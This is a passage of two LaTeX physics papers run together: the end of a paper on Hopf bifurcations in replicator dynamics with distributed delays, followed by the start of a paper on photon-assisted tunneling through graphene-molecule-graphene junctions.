By separating the real and imaginary parts, we obtain:
\begin{eqnarray*}
\tau_{cr}=\frac{\pi}{2 \delta \gamma}, \mbox{ and } w_0=\delta \gamma
\end{eqnarray*}
These formulae will be used later in solving the DDE.
By making a change of variable as mentioned in the previous section, we can write the replicator dynamics (\ref{eq_tot}) as follows:
\begin{eqnarray}\label{repl_dirac1}
\Omega \frac{du(T)}{dT}&=&Au(T-\Omega \tau)+\epsilon B u(T-\Omega \tau)+ \epsilon^2 C u^2(T)\times \nonumber \\ && u(T-\Omega \tau).
\end{eqnarray}
From the replicator dynamics (\ref{repl_dirac1}), we can examine the behavior of the bifurcating periodic solution. The following proposition summarizes the properties of the bifurcating limit cycle.
\begin{prop}\label{prop_dirac}
Let $P=-20A^3 $ and $Q=5A^2C\tau_{cr}-3AB^2 \tau_{cr}-B^2$, the amplitude of the bifurcating limit cycle is given by
\begin{eqnarray*}
A_m=\sqrt{\frac{P}{Q}\mu},
\end{eqnarray*}
where $\mu=\tau-\tau_{cr}$. Furthermore, the Hopf bifurcation is supercritical.
\end{prop}
\begin{proof}
See the Appendix.
\end{proof}
Our result is in coherence with the results in \cite{hopf2007}. The result above means that the amplitude of the bifurcating limit cycle is proportional to $\sqrt{\tau-\tau_{cr}}$.
\subsection{Uniform Distribution}
When the delays are i.i.d. random variables drawn from the uniform distribution, that is when,
\begin{eqnarray*}
p(\tau)=\frac{1}{\tau_{max}} {\mbox{ for }} \tau \in [0,\tau_{max}], {\mbox{ and }} {\mbox {zero otherwise} },
\end{eqnarray*}
the replicator dynamics can be written as:
\begin{eqnarray*}
\frac{ds(t)}{dt}=s(t)(1-s(t))\big(-\delta \int_{0}^{\tau_{max}}{\frac{1}{\tau_{max}}s(t-\tau) d\tau}+b-d\big).
\end{eqnarray*}
The corresponding linearized equation is given by:
\begin{eqnarray*}
\frac{dx(t)}{dt}= \frac{A}{\tau_{max}} \int_{0}^{\tau_{max}}{x(t-\tau) d\tau},
\end{eqnarray*}
and the associated characteristic equation is given by:
\begin{eqnarray*}
\lambda -\frac{A}{\tau_{max}} \int_{0}^{\tau_{max}}{exp(-\lambda \tau) d\tau} =0.
\end{eqnarray*}
At the Hopf bifurcation, we have $\tau_{cr}=\frac{\pi^2} {2D}$ and $w_0=\frac{\pi}{\tau_{cr}}$,
where $D=\gamma \delta$.
In this case, equation (\ref{eq_tot}) is determined by:
\begin{eqnarray}\label{repl_unif}
&& \hskip -0.7cm \Omega \frac{du(T)}{dT}=\frac{A}{\tau_{max}} \int_{0}^{\tau_{max}}{ u(T-\Omega \tau) d\tau}+ \frac{\epsilon B}{\tau_{max}} u(T)\times\nonumber \\ && \hskip -1.01cm \int_{0}^{\tau_{max}}{ }{ u(T-\Omega \tau) d\tau}+ \frac{\epsilon^2 C}{\tau_{max}} u^2(T) \int_{0}^{\tau_{max}}{ u(T- \Omega \tau) d\tau}.\; \;\;\;\;\;\;
\end{eqnarray}
From this equation, we can determine the properties of the bifurcating limit cycle, which are brought out in the next proposition.
\begin{prop}\label{prop_unif}
Let $P=8A^2$ and $Q=\tau_{cr}(B^2-2AC)$. The amplitude of the bifurcating limit cycle is given by:
\begin{eqnarray}
{A}_m=\sqrt{\frac{P}{Q}\mu},
\end{eqnarray}
where $\mu=\tau_{max}-\tau_{cr}$. Furthermore, the Hopf bifurcation is supercritical.
\end{prop}
\begin{proof}
See the Appendix.
\end{proof}
\begin{figure}
\hskip -0.565cm \includegraphics[width=5cm]{fig11_uni.eps}\includegraphics[width=5cm]{fig2_uni.eps} \caption{Stable limit cycle with the uniform distribution with $\tau_{cr}=6.58$ time units. {\it{Left}} $\mu=0.001$, $\tau_{max}=\tau_{cr}+\mu$. {\it{Right}} $\mu=0.03$, $\tau_{max}=\tau_{cr}+\mu$, where $a=-0.5$, $b=3$, $c=0$, and $d=1.5$.}\label{fig_limit_cycle}
\end{figure}
The amplitude of the bifurcating periodic solution is proportional to $\sqrt{\tau_{max}-\tau_{cr}}$. When the value of $\tau_{max}$ is near and superior to $\tau_{cr}$, the replicator dynamics exhibits a stable periodic oscillation in the proportions of the strategies in the population.
We illustrate in Fig. \ref{fig_limit_cycle}, the stable limit cycle occurring near the Hopf bifurcation under the uniform distribution. In the left-subfigure, we fixed $\mu$ to $0.001$ time units whereas in the right-subfigure, $\mu$ is fixed to $0.03$ time units. We recall that $\mu=\tau_{max}-\tau_{cr}$. In the first case, we observe that the stable limit cycle has a very small amplitude, and by increasing $\tau_{max}$, we see in the second case a limit cycle with an amplitude of approximately $0.18$. The amplitude of the oscillation, indeed, increases significantly as $\tau_{max}$ moves away from $\tau_{cr}$.
\subsection{Gamma Distribution}
We consider a Gamma distribution of delays with support $[0, \infty[$ and parameters $k\geq1$ and $\beta>0$. The probability distribution in this case is given by:
\begin{eqnarray*}
p(\tau; k,\beta)=\frac{\beta^k \tau^{k-1} e^{-\beta \tau}}{\Gamma(k)},
\end{eqnarray*}
where $\Gamma(k)=(k-1)!$ (Gamma function). The mean of the Gamma distribution is $\frac{k}{\beta}$.
The characteristic equation associated to the linearized replicator dynamics is given by:
\begin{eqnarray*}
\lambda+D \int_{0}^{\infty}{\frac{\beta^k}{\Gamma(k)}\tau^{k-1}e^{-(\beta+\lambda)\tau}d\tau}=0,
\end{eqnarray*}
where $D=\delta \gamma$. We take as a bifurcation parameter $\beta$. First, let us determine the critical value of this parameter, $\beta_c$, at which the asymptotic stability of the mixed equilibrium is lost.
A Hopf bifurcation occurs when $\lambda=iw_0$ with $w_0>0$, passes through the imaginary axis, that is when,
\begin{eqnarray*}
iw_0+D\int_{0}^{\infty}{\frac{\beta_c^k}{\Gamma(k)}\tau^{k-1}e^{-(\beta_c+iw_0)\tau}d\tau}=0.
\end{eqnarray*}
Or equivalently when,
\begin{eqnarray*}
iw_0+\frac{D \beta_c^k}{\Gamma(k)}\int_{0}^{\infty}{\tau^{k-1}e^{-(\beta_c+iw_0)\tau}d\tau}=0.
\end{eqnarray*}
By defining a new variable $z=(\beta_c+iw_0)\tau$, we can write the previous equation as:
\begin{eqnarray}\label{eq_char_00}
iw_0+ \frac{D\beta_c^k}{(\beta_c+iw_0)^k}=0.
\end{eqnarray}
Or equivalently, by using the polar form,
\begin{eqnarray}\label{t_eq}
iw_0+D\beta_c^k(\beta_c^2+w_0^2)^{-\frac{k}{2}}exp(-ik\theta)=0,
\end{eqnarray}
where $\theta \in [0,\frac{\pi}{2}]$, $\mbox{cos}(\theta)=\frac{\beta_c}{(\beta_c^2+w_0^2)^{\frac{1}{2}}}$, and $\mbox{sin}(\theta)=\frac{w_0}{(\beta_c^2+w_0^2)^{\frac{1}{2}}}$.
Separating the real and imaginary parts in (\ref{t_eq}), we derive,
\begin{eqnarray*}
\mbox{cos}(k\theta)&=&0,\nonumber\\
w_0-D\beta_c^k (\beta_c^2+w_0^2)^{-\frac{k}{2}}\mbox{sin}(k\theta)&=&0.
\end{eqnarray*}
Taking account of the previous equations, we finally get:
\begin{eqnarray}\label{mean_cri}
\beta_c=D\displaystyle\frac{{\rm cos}^{k+1}(\frac{\pi}{2k})}{\mbox{sin}(\frac{\pi}{2k})}.
\end{eqnarray}
The frequency of oscillations of the bifurcating solution is given by:
\begin{eqnarray}\label{freq2}
w_0=D\mbox{cos}^k(\frac{\pi}{2k}).
\end{eqnarray}
As a remark, we observe that when $k=1$ the Gamma distribution coincides with the exponential distribution, and $\beta_c=0$. Therefore, there cannot exist a Hopf bifurcation in this case. In the following, we suppose that $k\geq 2$.
Furthermore, we derive from equation (\ref{eq_char_00}) by implicit differentiation,
\begin{eqnarray*}
{\cal{R}}e\frac{d \lambda(\beta)}{d\beta}_{|{\beta=\beta_c}}<0.
\end{eqnarray*}
Therefore, when $\beta=\beta_c$ a Hopf bifurcation occurs.
\begin{figure}[t]
\hskip -0.5cm \includegraphics[width=4.8cm]{fig06.eps}\includegraphics[width=4.8cm]{fig07.eps}
\caption{{\it{Left}}, the critical mean delay in function of the parameter $k$ under the Gamma distribution. {\it{Right}}, the critical frequency of oscillations in function of the parameter $k$ under the Gamma distribution, where $a=-0.5$, $b=3$, $c=0$, and $d=1.5$.}\label{gamma_mean}
\end{figure}
In Fig. \ref{gamma_mean}-{\it{left}}, we display the critical mean delay $\frac{k}{{\beta_c}}$ with $\beta_c$ given in (\ref{mean_cri}) in function of the parameter $k$. The critical mean delay decreases significantly as the parameter $k$ increases, that is the instability becomes more probable as $k$ grows.
Now, let us determine the properties of the limit cycle in the neighborhood of the bifurcation. We define ${{I}}$ as follows:
\begin{eqnarray}\label{eq_0001}
{{I}}=\int_{0}^{\infty}{\frac{{\beta}^k}{\Gamma(k)} \tau^{k-1}e^{-\beta \tau}u(T-\Omega \tau) d\tau}.
\end{eqnarray}
The equation (\ref{eq_tot}) can then be written as,
\begin{eqnarray}
\Omega \frac{du(T)}{dT}&=&A {{I}}+\epsilon B u(T) {{I}} + \epsilon^2 C u^2(T){{I}},
\end{eqnarray}
where $\Omega=w_0+k_2 \epsilon^2+{{O}}(\epsilon^3)$.
The properties of the bifurcating limit cycles are given in the following proposition.
\begin{prop}\label{prop_gamma}
We consider the following parameters,
\begin{eqnarray*}
P= (k+1) \frac{A}{\beta_c}(1+\frac{w_0^2}{\beta_c^2})^{-\frac{k}{2}}-\frac{k-1}{k+1}(1+\frac{w_0^2}{\beta_c^2})^{\frac{1}{2}}-\frac{w_0}{\beta_c},
\end{eqnarray*}
\begin{eqnarray*}
Q=\frac{B\beta_c}{2(k+1)A} (1+\frac{w_0^2}{\beta_c^2})^{\frac{1}{2}} (F_1 \frac{w_0}{\beta_c}+F_2)-B \frac{w_0}{\beta_c} \times \\ (1+\frac{w_0^2}{\beta_c^2})^{-\frac{k+1}{2}}(F_2+\frac{F_1}{2}(\frac{w_0}{\beta_c}-1))+\frac{C}{4}(1+\frac{w_0^2}{\beta_c^2})^{-\frac {k}{2}},
\end{eqnarray*}
\begin{eqnarray*}\label{f_1}
\hskip -0.2cm{{F}}_1=-\frac{\frac{AB}{2} (1+\frac{w_0^2}{\beta_c^2})^{-\frac{k}{2}} (1+4\frac{w_0^2}{\beta_c^2})^{-\frac{k}{2}} \mbox{cos}(k\theta_1)}{4w_0^2+A^2(1+4\frac{w_0^2}{\beta_c^2})^{-k}+4w_0A (1+4\frac{w_0^2}{\beta_c^2})^{-\frac{k}{2}}\mbox{sin}(k\theta_1)},
\end{eqnarray*}
and,
\begin{eqnarray*}\label{f_2}
\hskip -0.2cm {{F}}_2=-\frac{\frac{B}{2} (1+\frac{w_0^2}{\beta_c^2})^{-\frac{k}{2}}(2w_0+A (1+4\frac{w_0^2}{\beta_c^2})^{-\frac{k}{2}} \mbox{sin}(k\theta_1)) }{4w_0^2+A^2(1+4\frac{w_0^2}{\beta_c^2})^{-k}+4w_0A (1+4\frac{w_0^2}{\beta_c^2})^{-\frac{k}{2}}\mbox{sin}(k\theta_1)}.
\end{eqnarray*}
The amplitude of the bifurcating limit cycle is given by:
\begin {eqnarray}\label{amp_gamma}
A_m=\sqrt{\frac{P}{Q} \mu},
\end{eqnarray}
where $\mu=\beta-\beta_c$ and $\theta_1=\mbox{atan}(\frac{2w_0}{\beta_c})$. Furthermore, the Hopf bifurcation is supercritical.
\end{prop}
\begin{proof}
See the Appendix.
\end{proof}
As in the previous sections, the amplitude of the bifurcating limit cycle is proportional to $\sqrt{\beta_c-\beta}$. Note that the bifurcation occurs when $\beta$ is near $\beta_c$ and $\beta<\beta_c$, therefore the quotient $\frac{P}{Q}$ should be negative. When $\beta$ is near and below $\beta_c$, the replicator dynamics exhibits a stable periodic oscillation in the proportion of strategies in the population.
\subsection{Discrete Delays}
We suppose in this section that a strategy, either $A$ or $B$, would take a delay $\tau$ with probability $p$ or no delay with probability $1-p$. In this case, the replicator dynamics is given by:
\begin{eqnarray*}\label{eq_8899}
\hskip -0.1cm \frac{ds(t)}{dt}=s(t)(1-s(t))\big(- p \delta s(t-\tau)-(1-p) \delta s(t)+\delta_1\big).
\end{eqnarray*}
Let $x(t)=s(t)-s^*$. Substituting $s$ with $x$ in the replicator dynamics, we get:
\begin{eqnarray*}
\frac{dx(t)}{dt}=-(1-p)\delta \gamma x(t) -p\delta \gamma x(t-\tau)-p\delta (1-2s^*)\times \nonumber \\ x(t) x(t-\tau)- (1-p)\delta(1-2s^*)x^2(t)+p \delta x(t-\tau) x^2(t)\nonumber \\ +(1-p)\delta x^3(t),
\end{eqnarray*}
which is of the form,
\begin{eqnarray*}
\frac{dx(t)}{dt}=a_1 x(t)+b_1 x(t-\tau)+c_1 x(t) x(t-\tau)+d_1x^2(t)+\nonumber \\e_1 x(t-\tau) x^2(t)+f_1 x^3(t),
\end{eqnarray*}
where $a_1=-(1-p)\delta \gamma $, $b_1= -p\delta \gamma $, $c_1=-p\delta (1-2s^*)$, $d_1=-(1-p)\delta(1-2s^*)$, $e_1=p \delta $, $f_1=(1-p)\delta$.
The linearized equation is given by:
\begin{eqnarray*}
\frac{dx(t)}{dt}=a_1 x(t) +b_1 x(t-\tau).
\end{eqnarray*}
The associated characteristic equation is determined by:
\begin{eqnarray}\label{eq_145}
\lambda-b_1 exp(-\lambda \tau)-a_1=0.
\end{eqnarray}
From the characteristic equation above, we derive the following result on the local asymptotic stability of the equilibrium.
\begin{prop}\label{prop_di_1}
\begin{itemize}
\item[$\bullet$] If $p\leq 0.5$, then the mixed ESS is asymptotically stable in the replicator dynamics for any value of $\tau$,
\item[$\bullet$] If $p>0.5$, then a Hopf bifurcation exists, when $\tau=\tau_{cr}$, with $\tau_{cr}=\frac{\mbox{acos}(-\frac {1-p}{p})}{\delta\gamma \sqrt{2p-1}}$.
\end{itemize}
\end{prop}
\begin{proof}\label{prop0}
\begin{itemize}
\item[$\bullet$] Let $\lambda=u+iv$, where $v>0$ a root of (\ref{eq_145}). We suppose that $u>0$ and we aim to prove that $p>0.5$. Substituting $\lambda$ by $u+iv$ in equation (\ref{eq_145}) and separating the real and imaginary parts, we derive,
\begin{eqnarray*}
u +(1-p) \delta \gamma=-p\delta \gamma e^{-u\tau} \mbox{cos}(v\tau),\\
v=p\delta \gamma e^{-u\tau} \mbox{sin}(v\tau).
\end{eqnarray*}
which yields,
\begin{eqnarray}
\big(u +(1-p) \delta \gamma \big)^2+v^2=p^2 \delta^2 \gamma^2 e^{-2u\tau}.
\end{eqnarray}
Since $u>0$, we conclude the following inequalities,
\begin{eqnarray*}
\big(u +(1-p) \delta \gamma \big)^2+v^2 \leq p^2 \delta^2 \gamma^2 , \\
\big((1-p) \delta \gamma \big)^2 \leq \big(u +(1-p) \delta \gamma \big)^2+v^2.
\end{eqnarray*}
Finally, from these inequalities, we obtain,
\begin{eqnarray*}
(1-p) < p, \mbox{ and } p > 0.5.
\end{eqnarray*}
Therefore, $u<0$ for any $p \leq 0.5$, and the asymptotic stability follows.
\item[$\bullet$]Let $\lambda^*=iw_0$ where $w_0>0$ be a root of the characteristic equation. From (\ref{eq_145}), we get,
\begin{eqnarray*}
iw_0+p\gamma \delta exp(-iw_0 \tau_{cr})+(1-p) \gamma \delta=0,
\end{eqnarray*}
which yields,
\begin{eqnarray*}
\mbox{cos}(w_0\tau_{cr})=-\frac{1-p}{p},\mbox{ and }
\mbox{sin}(w_0\tau_{cr})=\frac{w_0}{p\gamma \delta}.
\end{eqnarray*}
Finally, we get:
\begin{eqnarray*}
\tau_{cr}=\frac{\mbox{acos}(-\frac {1-p}{p})}{\delta\gamma \sqrt{2p-1}},\mbox{ and }
w_0=\delta\gamma \sqrt{2p-1},
\end{eqnarray*}
where $'\mbox{acos}'$ denotes the $0$ to $\pi$ branch of the inverse cosine function.
Furthermore, we have,
\begin{eqnarray*}
{\cal{R}}e \frac{d\lambda(\tau)}{d\tau}_{|\tau=\tau_{cr}}=\frac{w_0^2}{(1-a_1 \tau_{cr})^2+ \tau_{cr}^2 w_0^2}>0,
\end{eqnarray*}
which means that when $\tau$ is near $\tau_{cr}$ and $\tau>\tau_{cr}$, two roots gain positive parts as $\tau$ passes through $\tau_{cr}$.
Therefore, when $p\geq 0.5$, a Hopf bifurcation exists at $\tau_{cr}$.
\end{itemize}
\end{proof}
As a remark, we notice that when $p=1$, the critical delay is given by $\tau_{cr}=\frac{\pi}{2\delta\gamma}$ and this value coincides with that obtained in the Dirac distribution case.
\begin{figure}[t]
\hskip -0.53cm\includegraphics[width=4.97cm]{fig08.eps}\includegraphics[width=4.97cm]{fig09.eps} \caption{Left, the critical delay $\tau_{cr}$ in function of $p$. Right, the frequency of oscillations at the Hopf bifurcation, $w_0$, in function of $p$, where $a=-0.5$, $b=1$, $c=0$, and $d=0.5$.}\label{fig_discrete}
\end{figure}
In Fig. \ref{fig_discrete}, we plot the critical delay $\tau_{cr}$ and the frequency of oscillations at the Hopf bifurcation, in function of $p$, the probability of a delayed strategy. The range of $p$ at which a Hopf bifurcation may exist is $]0.5,1]$. We observe that as $p$ increases, the critical delay decreases, and thus the potential of instability increases. For instance, when $p=0.6$, the critical delay is given by $20.5$ time units, whereas this value decreases to $9.4$ time units when $p=0.8$. In addition, the frequency of oscillations at the Hopf bifurcation grows gradually as $p$ increases, which emphasizes the instability property. For example, when $p=0.6$, $w_0=0.11$, while $w_0=0.19$ when $p=0.8$.
It is also interesting to compare the results in our scenario with those obtained in the classical case of a single deterministic delay. Therefore, we displayed in Fig. \ref{fig_discrete} the critical delay value (which we denote by $\tau_{c0}$ and the frequency of oscillation (which we denote by $w_{c0}$) in the case of a single delay. We observe that $\tau_{cr}$ (as defined in proposition \ref{prop_di_1}) is always larger than $\tau_{c0}$ and they coincide only when $p=1$. Similarly, $w_0$ is always smaller than $w_{c0}$ and they coincide when $p=1$, in which case the two scenarios are exactly the same.
Furthermore, the properties of the bifurcating limit cycle are brought out in the next proposition.
\begin{prop}\label{prop_di_2}
Let $P$ and $Q$ be defined as follows:
\begin{eqnarray*}
P=4b_1^3(b_1-a_1)(a_1+b_1)^2(-5b_1+4a_1),
\end{eqnarray*}
and
\begin{eqnarray*}
Q&=&5e_1b_1^6 \tau_{cr}+a_1e_1b_1^5 \tau_{cr}-15a_1f_1b_1^5 \tau_{cr}-3c_1^2b_1^2 \tau_{cr}\\&&-7c_1d_1b_1^5\tau_{cr}-4d_1^2b_1^5 \tau_{cr}+
6 a_1^2e_1b_1^4\tau_{cr}-3a_1^2f_1b_1^4 \tau_{cr}\\&&+7c_1^2a_1b_1^4 \tau_{cr}+19c_1d_1a_1b_1^4 \tau_{cr}+18 d_1^2a_1b_1^4 \tau_{cr}+\\&&2a_1^3e_1b_1^3\tau_{cr}+12a_1^3f_1b_1^3\tau_{cr}-12c_1^2a_1^2b_1^3\tau_{cr}- \\&& 26c_1d_1a_1^2b_1^3\tau_{cr}-8d_1^2a_1^2b_1^3\tau_{cr}-8a_1^4e_1b_1^2\tau_{cr}+\\&&8c_1^2a_1^3b_1^2\tau_{cr}+
8c_1d_1a_1^3b_1^2\tau_{cr}+15f_1b_1^5-15a_1e_1b_1^4+\\&&3a_1f_1b_1^4-c_1^2b_1^4-9c_1d_1b_1^4-18d_1^2b_1^4-3a_1^2e_1b_1^3-\\&&12a_1^2f_1b_1^3+
11c_1^2a_1b_1^3+33c_1d_1a_1b_1^3+12d_1^2a_1b_1^3+\\&&12a_1^3e_1b_1^2-14c_1^2a_1^2b_1^2-18c_1d_1a_1^2b_1^2+4c_1^2a_1^3b_1.
\end{eqnarray*}
The amplitude of the bifurcating limit cycle is given by:
\begin{eqnarray*}
A_m=\sqrt{\frac{P}{Q}\mu},
\end{eqnarray*}
where $\mu=\tau-\tau_{cr}$. Furthermore, the Hopf bifurcation is supercritical.
\end{prop}
\begin{proof}
The proof follows by carrying out the same procedure as in the previous sections.
\end{proof}
This proposition gives a closed-form expression of the amplitude of the bifurcating periodic solution. Indeed, when $\tau<\tau_{cr}$, the mixed equilibrium $s^*$ is asymptotically stable, whereas, for the values of $\tau$ near and superior to $\tau_{cr}$, a stable periodic oscillation appears with an amplitude proportional to $\sqrt{\tau-\tau_{cr}}$.
\section{Numerical simulations}\label{sec_num}
\begin{figure}[t]
\hskip -0.54cm \includegraphics[width=4.8cm]{num_dirac.eps}\includegraphics[width=4.8cm]{num_uniform.eps}
\mbox{\hskip -0.54cm} \includegraphics[width=4.8cm]{hopf_gamma.eps}\includegraphics[width=4.8cm]{hopf_discret.eps}
\caption{The amplitude of the bifurcating periodic solution near the Hopf bifurcation, where $a=-1.5$, $b=3$, $c=0$, and $d=1.5$. {\it{Top-left}}, Dirac distribution. {\it{Top-right}}, Uniform distribution. {\it{Bottom-left}}, Gamma distribution with $k=3$. {\it{Bottom-right}}, Discrete distribution with $p=0.6$.}\label{fig_amplitude1}
\end{figure}
In this section, we propose to compare the properties of the bifurcating periodic solution obtained by the perturbation method with numerical results. We depict in Fig. \ref{fig_amplitude1} the amplitude of the bifurcating limit cycle given in propositions \ref{prop_dirac}-\ref{prop_di_2} and the amplitude obtained numerically (in circles), for different delay distributions. We observe that the results of the two methods coincide for the values of $\tau$ (or $\beta$) close to $\tau_{cr}$ (or $\beta_c$). For example,
in the case of discrete delays, the critical delay is given by $\tau_{cr}=6.86$ time units, and for the values of delays close to $\tau_{cr}$ the amplitude predicted analytically and the one obtained numerically coincide but the difference between them increases gradually until reaching $0.1$ when $\tau_{max}$ equals $8.05$ time units. For the Gamma distribution, $\beta_c=1.32$ and the critical mean delay is given by $2.28$ time units. The bifurcation occurs for the values of $\beta$ near and below $\beta_c$ (recall that the mean is $\frac{k}{\beta}$), which explains the shape of the amplitude growth.
\section{CONCLUSIONS}\label{sec_conc}
In this paper, we considered the two-strategy replicator dynamics subject to uncertain delays. Taking as a bifurcation parameter the mean delay, we proved that the asymptotic stability of the mixed equilibrium may be lost at the Hopf bifurcation, in which case the replicator dynamics exhibits a stable periodic oscillation (limit cycle) in the proportion of strategies in the population. As the mean delay moves away from the critical value, the amplitude of the limit cycle grows gradually. Using a nonlinear Lindstedt's perturbation method and considering different probability distributions of delays, we approximated the bifurcating limit cycle and we determined analytically the growth rate of the radius of the limit cycle. Furthermore, we compared with numerical simulations. As an extension to this work, we plan to investigate the center manifold approach.
\addtolength{\textheight}{-12cm}
\bibliographystyle{IEEEtran}
|
1,477,468,750,049 | arxiv | \section{Introduction}
The field of molecular-scale electronics has been rapidly advancing over the
past two decades, both in terms of experimental and numerical technology and
in terms of the discovery of new physical phenomena and realization of new
applications (for recent reviews please see
Refs.\cite{Kohler05,Chen09,Heath09}). In particular, the optical response of
nanoscale molecular junctions has been the topic of growing experimental and
theoretical interest in recent years
\cite{Park11PRB,Wang11PCCP,Fainberg_Galperin11PRB,Haertle10JCP,Reuter08PRL,Li08SSP,
Thanopulos08Nanotech,Prociuk08PRB,Li08NJP,Galperin08JCP,Li07EPL,Fai07PRB},
fueled in part by the rapid advance of the experimental technology and in part
by the premise for long range applications in optoelectronics.
A way of the control of the current through molecular conduction nanojunctions
is the well-known photon-assisted tunneling (PAT) \cite{Platero04,Kohler05}
that was studied already in the early 1960's experimentally by Dayem and
Martin \cite{Dayem_Martin62PRL} and theoretically by Tien and Gordon using a
simple theory which captures already the main physics of PAT
\cite{Tien_Gordon63}. The main idea is that an external field periodic in time
with frequency $\omega$ can induce inelastic tunneling events when the
electrons exchange energy quanta $\omega$ with the external field. PAT may be
related either to the potential difference modulation between the contacts of
the nanojunction when electric field is parallel to the axis of a junction
\cite{Tien_Gordon63,Gri98,Platero04,Kleinekathofer06EPL,Li07EPL}, or to the
electromagnetic (EM) excitation of electrons in the metallic contacts when
electric field is parallel to the film surface of contacts
\cite{Tien_Gordon63}. According to the Tien-Gordon model
\cite{Tien_Gordon63,Platero04,Li07EPL} for monochromatic external fields that
set up a potential difference $V(t)=V_{0}\cos\omega t$, the rectified dc
currents through ac-driven molecular junctions are determined as
\cite{Platero04,Li07EPL
\begin{equation}
I_{TG}=\sum_{n=-\infty}^{\infty}J_{n}^{2}(\frac{eV_{0}}{\hbar\omega
)I_{dc}^{0}(eV_{0}+n\hbar\omega)=\sum_{n=-\infty}^{\infty}I_{n} \label{eq:TG
\end{equation}
where the current in the driven system is expressed by a sum over
contributions of the current $I_{dc}^{0}(eV_{0}+n\hbar\omega)$ in\nolinebrea
\ the\nolinebreak\ \nolinebreak undriven case but evaluated at side-band
energies $eV_{0}+n\hbar\omega$ shifted by integer multiples of the photon
quantum and weighted with squares of Bessel functions. A formula similar to
Eq.(\ref{eq:TG}) can be obtained also for EM excitation of electrons in the
metallic contacts \cite{Tien_Gordon63}. Note that the partial currents $I_{n}$
contain contributions from $\pm n$. The term $J_{n}(\frac{eV_{0}}{\hbar\omega
})$ denotes the $n$-th-order Bessel function of the first kind. The photon
absorption ($n>0$) and emission ($n<0$) processes can be viewed as creating
effective electron densities at energies $eV_{0}\pm n\hbar\omega$ with
probability $J_{n}^{2}(\frac{eV_{0}}{\hbar\omega})$. These probabilities
strongly diminish with number $n$ when $eV_{0}\leq\hbar\omega$ that severely
sidelines the control of the current for not strong EM fields ($<10^{6}$
$V/cm$ \cite{Kohler05}).
In the last time graphene, a single layer of graphite, with unusual
two-dimensional Dirac-like electronic excitations, has attracted considerable
attention due to its exceptional electronic properties (ballistic in-plane
electron transport etc.) \cite{Novoselov09RMP,Trauzettel07PRB,Efetov08PRB}.
Quite recently they have shown interest to a new kind of
graphene-molecule-graphene (GMG) junctions that may exhibit unique physical
properties, including a large conductance (achieving $0.38$ conductance
quantum), and are potentially useful as electronic and optoelectronic devices
\cite{Yang_graphene_junctions10JCP}. The junction consists of a conjugated
molecule connecting two parallel graphene sheets. In this relation it would be
interesting to investigate PAT\ in such a junction to control the current
through it. The PAT in GMG junctions under EM excitation of electrons and
holes in the graphene contacts may be rather different from that for usual
metallic contacts. It was shown that the massless energy spectrum of electrons
and holes in graphene led to the strongly non-linear EM response of this
system, which could work as a frequency multiplier \cite{Mikhailov07EPL}. The
predicted efficiency of the frequency up-conversion was rather high: the
amplitudes of the higher-harmonics of the ac electric current fell down slowly
(as $1/n$) with harmonics index $n$. Sure, the strongly non-linear EM response
should also lead to a slow falling down currents evaluated at side-band
energies $\sim n\hbar\omega$ (see Eq.(\ref{eq:TG})) with harmonics index $n$
in comparison to nanojunctions with metallic (or semiconductor
\cite{Fainberg13CPL}) leads (see below). This makes controlling charge
transfer essentially more effective than that for molecular nanojunctions with
metallic contacts. Additional factors that may enhance currents evaluated at
side-band energies $\sim n\hbar\omega$ in nanojunctions with graphene
electrodes are linear dependence of the density of states on energy in
graphene \cite{Novoselov09RMP}, and the gapless spectrum of graphene that can
change under the action of external EM field (see below).
Here we propose and explore theoretically a new approach to coherent control
of electric transport via molecular junctions, using either both graphene
electrodes or one graphene and another one - a metal electrode (that may be an
STM tip). Our approach is based on the excitation of dressed states of the
doped graphene electrode with electric field that is parallel to its surface,
having used unique properties of graphene mentioned above. As a first step, we
calculate a semiclassical wave function of a doped graphene under the action
of EM excitation. Then we obtain Heisenberg equations for the second
quantization operators of graphene and calculate current through a molecular
junction with graphene electrodes using non-equilibrium Green functions (GF).
We address different cases, which are analytically soluble, hence providing
useful insights. We show that using graphene electrodes can essentially
enhance currents evaluated at side-band energies $\sim n\hbar\omega$ in
molecular nanojunctions.
\section{Model Hamiltonian}
Consider a spinless model for a molecular wire that comprises one site of
energy $\varepsilon_{m}$, positioned between either both graphene electrodes
(leads) (Fig.\ref{fig:GMG1}) or one graphene and another one - a metal
electrode (Fig.\ref{fig:photonic_replica})
\begin{figure}
[ptb]
\begin{center}
\includegraphics[
height=4.4399in,
width=3.7645in
{GMG1.eps
\caption{Molecular bridge ( thick horizontal line) between left (L) and right
(R) graphene electrodes with applied voltage bias. External electromagnetic
field acts on the electrodes.
\label{fig:GMG1
\end{center}
\end{figure}
The leads are represented by electron reservoirs $L$ and $R$, characterized by
the electronic chemical potentials $\mu_{K}$, $K=L,R$, and by the ambient
temperature $T$. The corresponding Fermi distributions are $f_{K
(\varepsilon_{k})=[\exp((\varepsilon_{k}-\mu_{K})/k_{B}T)+1]^{-1}$ in the
absense of external EM field, and the difference $\mu_{L}-\mu_{R}$
$=e\varphi_{0}$ is the imposed voltage bias between the electrodes. External
EM field acting on electrode $K$, $\mathbf{E}(t)=\mathbf{E}_{0}\cos\omega t$,
changes the corresponding Fermi distribution (see below). The Fermi energy of
the graphene electrode may be controlled via electrical or chemical
modification of the charge carrier density
\cite{Mak08PRL,Chen8Nature,Abajo11NL,Chen12Nature,Fei12Nature}. We consider
that steady-state current through a nanojunction does not influence on the
Fermi energy, since such current does not change a charge of the graphene electrode
\begin{figure}
[ptb]
\begin{center}
\includegraphics[
height=3.7308in,
width=2.6948in
{Phot_repl.eps
\caption{Molecular bridge between n-doped graphene (left-L) and metal
(right-R) electrodes. Thick horizontal line - energy of the molecular bridge
$\varepsilon_{m}$, $\mu_{L\text{ }}$ and $\mu_{R\text{ }}=\mu-e\varphi_{0}/2$
- chemical potentials of the left and right leads, respectively, in the biased
junction. The energy spectrum of unperturbated graphene is shown by the solid
line; dotted and dashed lines show the upper and lower first photonic replica
of the graphene spectrum, repectively, that are displaced an amount
$\hbar\omega$ from unperturbated spectrum. Solid thin horizontal line -
chemical potential of unperturbated graphene $\mu_{L\text{ }}=\mu+e\varphi
_{0}/2$, dashed thin horizontal lines - chemical potentials of the photonic
replica $\mu_{L\text{ }}=\mu+e\varphi_{0}/2\pm\hbar\omega$. \textit{a} -
potential of the graphene electrode is smaller than photon energy,
$e\varphi_{0}/2<\hbar\omega$; \textit{b} - potential of the graphene electrode
is larger than photon energy, $e\varphi_{0}/2>\hbar\omega$. The lower photonic
replication gives contribution into the current only in case \textit{b) } that
causes the step shown in Fig.\ref{fig:weak_field}.
\label{fig:photonic_replica
\end{center}
\end{figure}
